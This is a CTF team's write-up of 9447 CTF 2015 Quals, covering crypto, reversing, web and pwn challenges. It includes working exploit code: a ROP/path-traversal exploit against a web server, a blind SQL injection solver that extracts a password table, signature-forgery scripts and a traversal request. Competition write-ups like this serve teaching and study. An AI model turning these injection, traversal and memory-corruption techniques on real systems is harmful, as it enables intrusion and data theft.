9447 CTF 2015 Quals

Reading time ~31 minutes

Fibbed

This challenge was solved by and the write up was written by one of my teammates, NGG.

The task was to crack Diffie-Hellman key exchange protocol in a group where elements correspond to Fibonacci numbers.

The base element was the 2-by-2 matrix [[0,1],[1,1]], and the group was what this base generates over a finite field of a given prime order.

All elements of this group have the form [[a,b],[b,a+b]], so the public keys (the group elements) were represented by (a,b) pairs, the private keys were represented with the exponent.

I simply used the https://en.wikipedia.org/wiki/Baby-step_giant-step algorithm to compute the discrete logarithm of the server’s public keys.

I needed a hash table with 900 million elements in order to do so, and had to use 128-bit arithmetics for internal computations, but these are not a problem on x64 Linux if you have 64 GB RAM.

The program below used 49 GB RAM and ran for about 20 minutes on a single core.

After finding the private key of the server, the following python script printed the flag.

text = '59719af4dbb78be07d0398711c0607916dd59bfa57b297cd220b9d2d7d217f278db6adca88c9802098ba704a18cce7dd0124f8ce492b39b64ced0843862ac2a6'
p = 981725946171163877
server_secret = 173288873*900000000+31300133
client_public = (453665378628814896,152333692332446539)
print decrypt(text, str(calcM(p, server_secret, client_public)))
#include <unordered_map>
#include <utility>
#include <iostream>

using namespace std;

typedef long long ll;
typedef __int128 lll;
typedef pair<ll,ll> pll;

const ll P = 981725946171163877LL;

void mul(pll& a, const pll& b)
{
	ll t = a.first;
	a.first = (ll)(((lll)a.first*(lll)b.first + (lll)a.second*(lll)b.second)%(lll)P);
	a.second = (ll)(((lll)t*(lll)b.second + (lll)a.second*((lll)b.second+(lll)b.first))%(lll)P);
}

namespace std {
	template <> struct hash<pll> {
		size_t operator()(const pll& x) const {
			return (x.first * 0x1f1f1f1f1f1f1f1fLL) ^ x.second;
		}
	};
};

int main(void)
{
	const pll a {0,1};
	const pll b {58449491987662952LL,704965025359609904LL};
	const int m = 900000000;
	const pll ainvm {725806600419337472LL,354774678182469598LL}; // This is a**(-m)
	unordered_map<pll, int> jmap;
	jmap.reserve(m);
	pll aj {1,0};
	int cnt = 0;
	for (int j = 0; j < m; j++) {
		if (cnt == 0) { cerr << "."; cnt = 10000000; } else cnt--;
		jmap.insert(std::make_pair(aj, j));
		mul(aj, a);
	}
	cout << "P2 " << jmap.size() << endl;
	pll ls = b;
	cnt = 0;
	for (ll i = 0; i < 1100000000LL; i++) {
		if (cnt == 0) { cerr << "."; cnt = 10000000; } else cnt--;
		auto it = jmap.find(ls);
		if (it != jmap.end()) {
			cout << endl;
			cout << "i=" << i << endl;
			cout << "m=" << m << endl;
			cout << "ls=" << ls.first << "," << ls.second << endl;
			cout << "j=" << it->second << endl;
		}
		mul(ls, ainvm);
	}
	return 0;
}

The flag was:

9447{Pisan0_mU5t_nEv3r_hAve_THougHt_0f_bruTe_f0rce5}

randBox

This challenge was solved by and the write up was written by one of my teammates, nguyen.

There are 10 rounds, some round did manually, ex: round1 is rot-N subs ; round2 is a tranposition ; round3->5 can be cracked using round1 approach; …

The flag was

9447{crYpt0_m4y_n0T_Be_S0_haRD}

dub-key

This challenge was solved by and the write up was written by one of my teammates, NGG.

This code cracks the signature scheme:

import base64
from fractions import gcd
from pwn import *
import traceback
import hashlib

def solve():
	with remote('dub-key-t8xd5pn6.9447.plumbing', 9447) as r:
		s = r.recv(12)
		print 'SHA'
		for i in xrange(10000000, 100000000):
			ss = s + str(i)
			if hashlib.sha1(ss).digest().endswith('\x00\x00\x00'):
				break
		print 'SHAOK'
		r.send(ss)
		r.recvline()
		tosign = map(ord, base64.b64decode(r.recv(172)))
		print 'TOSIGN', tosign
		for i in xrange(128):
			if tosign[i] == i+128:
				for j in xrange(128):
					if i == j:
						continue
					if tosign[j] == i+128:
						break
				else:
					break
		else:
			assert(False)
		print 'I', i
		g = None
		for j in xrange(50):
			r.recvline()
			r.recvline()
			r.recvline()
			r.sendline('1')
			r.send(base64.b64encode(''.join(map(chr, tosign[:i] + [j] + tosign[i+1:]))))
			line = r.recvline()
			print 'LINE', line
			x = int(line)
			if j == 0:
				g = x
			else:
				g = gcd(g, x)
		r.sendline('2')
		x = str(g)
		assert(len(x) <= 620)
		x = x + ' '*(620-len(x))
		r.send(x)
		print r.recvall()

while True:
	try:
		solve()
		break
	except:
		traceback.print_exc()

The flag was:

9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}

wob-key & wob-key-hard

This challenge was solved by and the write up was written by one of my teammates, NGG.

After a few hours of trial and failure, I came up with the following solution:

import base64
from fractions import gcd
from pwn import *
import traceback
import random
import hashlib
import os

def cycleLen(data, place):
	seen = {};
	count = 0;
	while not place in seen:
		seen[place] = 1;
		count += 1;
		place = data[place];
	return count;

def realSign(data):
	res = 1;
	for i in range(256):
		res *= cycleLen(data, i);
	return res;

def solve():
	with remote('wob-key-e1g2l93c.9447.plumbing', 9447) as r:
		ats = [129+i for i in xrange(126)] + [254]
		bts = [128] + [128+i for i in xrange(126)]
		cts = [128+i for i in xrange(128)]
		dts = [[i for i in xrange(128)], [127-i for i in xrange(128)], [(i+50)%128 for i in xrange(128)]]
		for i in xrange(10):
			dts.append(map(ord, os.urandom(128)))
		s = r.recv(12)
		print 'SHA'
		for i in xrange(10000000, 100000000):
			ss = s + str(i)
			if hashlib.sha1(ss).digest().endswith('\x00\x00\x00'):
				break
		print 'SHAOK'
		r.send(ss)
		def sign(data):
			r.recvline()
			r.recvline()
			r.recvline()
			r.sendline('1')
			r.send(base64.b64encode(''.join(map(chr, data))))
			line = r.recvline().strip()
			print 'LINE', line
			return int(line)
		c1 = sign(cts)
		cts[191-128] = 255
		cts[255-128] = 191
		c2 = sign(cts)
		print 'C1', c1
		print 'C2', c2
		assert(4*c1 == c2)
		d = []
		for dtss in dts:
			d.append(sign(dtss))
		print 'D', d
		a = sign(ats + [255])
		print 'A', a
		b = sign(bts + [255])
		print 'B', b
		al = []
		bl = []
		sec = []
		for i in xrange(128):
			print i
			al.append(sign(ats + [i]))
			bl.append(sign(bts + [i]))
			assert(al[i]%a == 0)
			assert(bl[i]%b == 0)
			ad = al[i]//a - 1
			bd = bl[i]//b - 1
			assert(ad != bd)
			assert((ad+bd-(255-127))%2 == 0)
			assert((bd-ad+(255+127))%2 == 0)
			assert(((bd-ad+(255+127))//2) >= 128)
			assert(((bd-ad+(255+127))//2) < 256)
			print 'PAIR', ((ad+bd-(255-127))//2, (bd-ad+(255+127))//2)
			sec.append((int((ad+bd-(255-127))//2), int((bd-ad+(255+127))//2)))
		print 'AL', al
		print 'BL', bl
		print 'SEC', sec
		psk = [None]*128
		db = 1
		for x in xrange(1, 500):
			for i in xrange(128):
				if sec[i][0] == x:
					if x == 1:
						psk[i] = [sec[i][1]]
					else:
						psk[i] = []
						for j in xrange(128):
							if sec[j][0] == x-1 and sec[j][1] == sec[i][1]:
								psk[i].append(j)
						assert(len(psk[i]) > 0)
						db *= len(psk[i])
		for i in xrange(128):
			assert(psk[i] is not None)
		print 'DB', db
		assert(db < 100000)
		for i in xrange(1000000000):
			if i%1000 == 0:
				print 'N',
			secret = map(lambda p: random.choice(p), psk)
			assert(a == realSign(secret + ats + [255]))
			assert(b == realSign(secret + bts + [255]))
			for di in xrange(len(dts)):
				myd = realSign(secret + dts[di])
				if d[di] != myd:
					break
			else:
				break
		for i in xrange(128):
			assert(al[i] == realSign(secret + ats + [i]))
			assert(bl[i] == realSign(secret + bts + [i]))
		print 'L1', r.recvline().strip()
		print 'L2', r.recvline().strip()
		print 'L3', r.recvline().strip()
		r.sendline('2')
		for i in xrange(17):
			print 'L4', r.recvline().strip()
			line = r.recvline().strip()
			print 'CHECK', line
			ts = map(ord, base64.b64decode(line))
			assert(len(ts) == 128)
			s = realSign(secret + ts)
			print 'SIGN', s
			x = str(s)
			assert(len(x) <= 620)
			x = x + ' '*(620-len(x))
			print 'X', x
			r.send(x)
		print r.recvall()

while True:
	try:
		solve()
		break
	except:
		traceback.print_exc()

The flags were:

9447{S1gning_15_HaRD_0Bvi0Usly}
9447{Alth0ugh_be1Ng_sm4rt_iS_eVen_b3tter}

calcpop

This challenge was solved by and the write up was written by one of my teammates, nguyen.

It was a simple buffer overflow vulnerability.

The flag was

9447{shELl_i5_easIEr_thaN_ca1c}

calpop reloaded

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Steps to solve the challenge:

  • set environment for calc_reloaded with RedOS package
  • got EIP control and arbitrary code execution in calc_reloaded
  • make shellcode for this OS
  • use getdirent syscall to find that out name of flag file Mes5 wi+h the b3st, d1e l1k3 the rest

The flag was

9447{th1s_O5_is_a_gl0rifi3d_c4lculat0r}

cards

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Steps to solve the challenge:

  • get .text address in stack after play game
  • send payload to leak one of these address
  • send payload to corrupt return address in stack
  • make it to return to printFlag

The flag was

9447{ThE_Only_w1nn1Ng_M0ve_1S_t0_stEAl_The_flAg}

BWS

This challenge was solved by and the write up was written by one of my teammates, nguyen.

The vulnerability was in the URL parsing function. If you passed /../ as an URL it could read before the output buffer until the next “/” character.

The exploit code was:

from pwn import *
context.arch = 'amd64'

#pwn
r = remote('bws-ad8sfsklw.9447.plumbing', 80)
#r = remote('localhost', 33000)

raw_input('attach')

# stage 1 : prepare 0x2f
payload = ''
payload += 'GET '
payload += '/'*200
payload += ' HTTP/1.1\r\n\r\n'
r.send( payload )
print r.recv(8192)

# stage 2 : start ROP 
payload = ''
payload += 'GET /../'
payload += 'A'*8
payload += 'B'*8
payload += 'C'*8
payload += 'D'*8
payload += 'E'*8
payload += 'F'*8
payload += 'G'*8
payload += 'H'*8
payload += 'I'*8
payload += '1234\x39\x0f\x408'	# magic lifting!!
payload += 'kkk'
payload += pack(0x00000d6666666666)
payload += pack(0)
payload += '1'*8
payload += '22222'

'''
pattern 5fc3 found at 0x401323
POP RDI; RET; 
pattern 5e415fc3 found at 0x401321
POP RSI; POP R15; RET; 
'''

RDIRET = 0x401323
RSIR15RET = 0x401321
FILEBUF = 0x612010
READ = 0x400ae0 # buf, size
PRINT = 0x40115e # -

# READ(&filebuf, 0x30) -> PRINT FILE.
#payload += pack(RDIRET)
#payload += pack(FILEBUF)	# rdi
#payload += pack(RSIR15RET)
#payload += pack(0x30)	# rsi
#payload += pack(READ)
#payload += pack(RDIRET)
#payload += pack(FILEBUF)
payload += pack(PRINT)
payload += '/../flag.txt\x00'
payload += ' HTTP/1.1\r\n\r\n'
r.send( payload )

# get flag.
print r.recv(8192)
print r.recv(8192)
print r.recv(8192)
#r.interactive()

Running it on the real server gave us the flag:

Accept-Ranges: bytes
Connection: close
9447{1_h0pe_you_L1ked_our_w3b_p4ge}
*** stack smashing detected ***: /ho

Get help

The flag was in the topic of the official 9447 CTF IRC channel #9447ctf on freenode:

9447{Ask_for_help_here}

4w1h

We had to find a few locations by their Google Street View images. After finding the exact locations, we had to collect the directions where the little man looked.

These are the URL of the Google Street View images and directions which gave us the flag (the text of the URLs are places which they depict or which could be identified the easiest):

The flag was:

9447{NWSNSEWNENWWNS}

Recon 1

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Steps to solve the challenge:

In the meantime, have a flag: 9447{YouAreStalKey}

Recon 2

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Steps to solve the challenge:

The flag was:

9447{william.clutterbuck}

flag finder

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Simple: run it!

The flag was:

9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_H4LT1N6_prObL3M_n1c3_}

The real flag finder

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Lot of math stuff, it will give the flag - lol NOT :)

Steps to solve the challenge:

  • just start gdb
  • run the program
  • put a breakpoint where it writes that you lost
  • read the flag from the memory (it stores it and compares it with your input)

The flag was:

9447{C0ngr47ulaT1ons_p4l_buddy_y0Uv3_solved_the_re4l__H4LT1N6_prObL3M}

danklang

This challenge was solved by and the write up was written by one of my teammates, VEK.

The code first had to be converted to some real language like python.

After this, it was still slow and ate a lot of memory, so it had to be optimized.

I wrote a C++ version that replaced the recursions with dynamic programming:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <gmpxx.h>
 
#define N 13380000
 
using namespace std;
 
bool prime (unsigned num, unsigned whatever)
{
  for (unsigned i=2; i*i<=num; ++i)
    {
      if (num%i == 0)
        return false;
    }
  return true;
}
 
mpz_class bill (int memes);
mpz_class such (int memes);
 
mpz_class ef[N];
 
mpz_class epicfail (int memes)
{
  if (memes < 0)
    return 0;
  return ef[memes];
}
 
void epicfail_fill (unsigned memes)
{
  if (ef[memes] != -1)
    return;
  mpz_class wow = 0;
  bool dank = true;
  if (memes > 1)
    {
      dank = prime (memes, 2);
      if (dank)
        wow = bill (memes - 1) + 1;
      else
        wow = such (memes - 1);
    }
  ef[memes] = wow;
}
 
mpz_class dd[N][6];
 
mpz_class dootdoot (int memes, unsigned seals)
{
  if (memes < 0)
    return 0;
  return dd[memes][seals];
}
 
void dootdoot_fill (unsigned memes, unsigned seals)
{
  if (dd[memes][seals] != -1)
    return;
  mpz_class doritos = 0;
  if (seals <= memes)
    {
      if (seals == 0)
        doritos = 1;
      else
        {
          if (seals == memes)
            doritos = 1;
          else
            {
              doritos = dootdoot (memes-1, seals-1);
              doritos = dootdoot (memes - 1, seals) + doritos;
            }
        }
    }
  dd[memes][seals] = doritos;
}
 
 
mpz_class bm[N];
 
mpz_class brotherman (int memes)
{
  if (memes < 0)
    return 0;
  return bm[memes];
}
 
void brotherman_fill (unsigned memes)
{
  if (bm[memes] != -1)
    return;
 
  mpz_class hues = 0;
  if (memes != 0)
    {
      if (memes < 3)
        hues = 1;
      else
        {
          hues = brotherman(memes - 1);
          hues = brotherman(memes - 2) + hues;
        }
    }
  hues = hues % mpz_class (987654321);
  bm[memes] = hues;
}
 
mpz_class s[N];
 
mpz_class such (int memes)
{
  if (memes < 0)
    return 0;
  return s[memes];
}
 
void such_fill (unsigned memes)
{
  if (s[memes] != -1)
    return;
 
  mpz_class wow = dootdoot (memes, 5);
  mpz_class wew;
  if (wow % 7 == 0)
    {
      wew = bill (memes - 1);
      wow = wow + 1;
    }
  else
    wew = epicfail (memes - 1);
 
  wow = wew + wow;
  s[memes] = wow;
}
 
mpz_class bi[N];
 
mpz_class bill (int memes)
{
  if (memes < 0)
    return 0;
  return bi[memes];
}
 
void bill_fill (unsigned memes)
{
  if (bi[memes] != -1)
    return;
 
  mpz_class wow = brotherman (memes);
  mpz_class wew;
  if (wow % 3 == 0)
    {
      wew = such (memes - 1);
      wow = wow + 1;
    }
  else
    wew = epicfail (memes - 1);
 
  wow = wew + wow;
  bi[memes] = wow;
}
 
int main (int argc, char **argv)
{
  for (unsigned i = 0; i < N; ++i)
    {
      ef[i] = -1;
      for (unsigned j = 0; j < 6; ++j)
        dd[i][j] = -1;
      s[i] = -1;
      bm[i] = -1;
      bi[i] = -1;
    }
  for (unsigned i = 0; i < N; ++i)
    for (unsigned j = 0; j < 6; ++j)
      dootdoot_fill (i, j);
  for (unsigned i = 0; i < N; ++i)
    {
      brotherman_fill (i);
      epicfail_fill (i);
      bill_fill (i);
      such_fill (i);
    }
  cout << epicfail (13379447) << endl;
  return 0;
}

Hello, Joe

This challenge was solved by and the write up was written by one of my teammates, nguyen.

In ctf, many team solved it fast, maybe not too hard, so i decompile code and get it fast:

9447{94ea5e32f2b5b37d947eea3a38932ae1}

imaged

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Flag is the CRC of the first 7 chunks:

9447{Steg0_redunDaNcy_CHeck}

binned

This challenge was solved by and the write up was written by one of my teammates, nguyen.

Flag is the id of syscalls executed:

fork getpeername getpeername getsockopt setfsgid shmdt getgid getsockname sysinfo geteuid umask shutdown setresuid rmdir umask ftruncate getpgid umask shmdt getpeername bind bind setuid getdents syslog umask shmdt shutdown times msgsnd capget

The flag was:

9447{Ch3ck_0uT_My_C411iNg_C0dE}

gife up now

This was an animgif with a lot of QR codes.

The QR codes contained words multiple times.

The occurence count of the words gave us the following sequence:

1,4,3,4,4,4,1,4,3,4,3,4,4,4,1,4,3,4,4,4,1,4,5,4,4,4

The QR code text contained the hint for the challenge:

two parts, all lower, add 9447{ to start and } to the end, first looks like “7do”, cut off 450ms, second like https://www.youtube.com/watch?v=5xxTkB5bGy4 like faucet script

The delay between some frames was 400ms, and 500ms for others. Interpreting this as morse code (500ms = -, 400ms = .) gives us this sequence:

-..-----...-..--------...-..-----...-..-----...-..--------...-..--------...-..--------...

Although we did not know where were the pauses, we could use the fact from the hint that the alphabet only contained “7do” characters.

7 = −−•••
d = −••
o = −−−

This gave us the following form:

-.. --- --... -.. --- --- --... -.. --- --... -.. --- --... -.. --- --- --... -.. --- --- --... -.. --- --- --...

Which was translated to ASCII from morse:

DO7DOO7DO7DO7DOO7DOO7DOO7

The second part of the hint suggested that we should use Tap code:

. ....  ... ....  .... ....  . ....  ... ....  ... ....  .... ....  . ....  ... ....  .... ....  . ....  ..... ....  .... ....

Which translates to:

dotdootdotdyt

The final flag was:

9447{do7doo7do7do7doo7doo7doo7dotdootdotdyt}

sanutf8y_check

The challenge description gave us the following website: http://sanutf8y-check-n2wisexx.9447.plumbing which contained the flag with unicode characters. Writing them down with normal ASCII characters gave us the flag the scoreboard accepted.

YWS

Sending GET /.. HTTP/1.1 with nc listed the file names from the parent directory (outside files), and one of the directory names was the flag.

premonition

The vulnerability was an SQL injection in the operator string.

Error text leaked, from which I saw spaces were removed (also I had to send a valid user-agent).

I solved the problem with a boolean-based technique (it could be solved much easier though). First I get the table names and found the s3ekr17_passwords table.

Then requested the contents of it. It was an (userid, password) tuple, where the password was only one character from the flag and the userid was the position of the character in the string.

A part of my solver code:

var http = new HttpClient { BeforeRequest = req => req.UserAgent = "Mozilla/5.0" };

Func<string, bool> sqli = query =>
{
    var resp = http.Req("http://premonition-p8l05mpz.9447.plumbing:9447/score", "score=0&ineq=<(?)or(" + query + ")--").AsString;
    if (resp == "[]\n")
        return false;
    else if (resp.StartsWith("[[\"Xavier\", "))
        return true;
    else
        throw new Exception("SQL error: " + resp);
};

//var tableNames = BinarySearchUtils.BinarySearchText((idx, num) => sqli("SELECT(unicode(substr(name," + (idx + 1) + ",1))<" + num + ")FROM(sqlite_master)LIMIT(1)"));
//var rowCount = BinarySearchUtils.BinarySearchNum(i => sqli("SELECT(count(*)<" + i + ")FROM(s3ekr17_passwords)"), 0, 50);

for (int userId = 0; userId < 45; userId++)
{
    var leak = BinarySearchUtils.BinarySearchText((idx, num) => sqli("SELECT(unicode(substr(userid||'|'||password," + (idx + 1) + ",1))<" + num + ")FROM(s3ekr17_passwords)LIMIT(" + userId + "),(1)"));
    Console.WriteLine("User #" + userId + ": " + leak);
    File.AppendAllText("leak.txt", leak + "\r\n");
}

nicklesndimes

The website used the same framework as the CTF, where I could reset the admin’s password, and whitelist my IP address with the code found in the main javascript file of the site (although I had to log in with an other user to make this work).

HITCON CTF 2019 Quals: Reverse - EmojiVM

This challenge was a VM implemented where every instruction was an emoji. For the first part of the challenge we had to reverse a flag ch...… Continue reading

HITCON CTF 2019 Quals: Reverse - CoreDumb

Published on October 19, 2019

HITCON CTF 2019 Quals: Pwn - Crypto in the shell

Published on October 19, 2019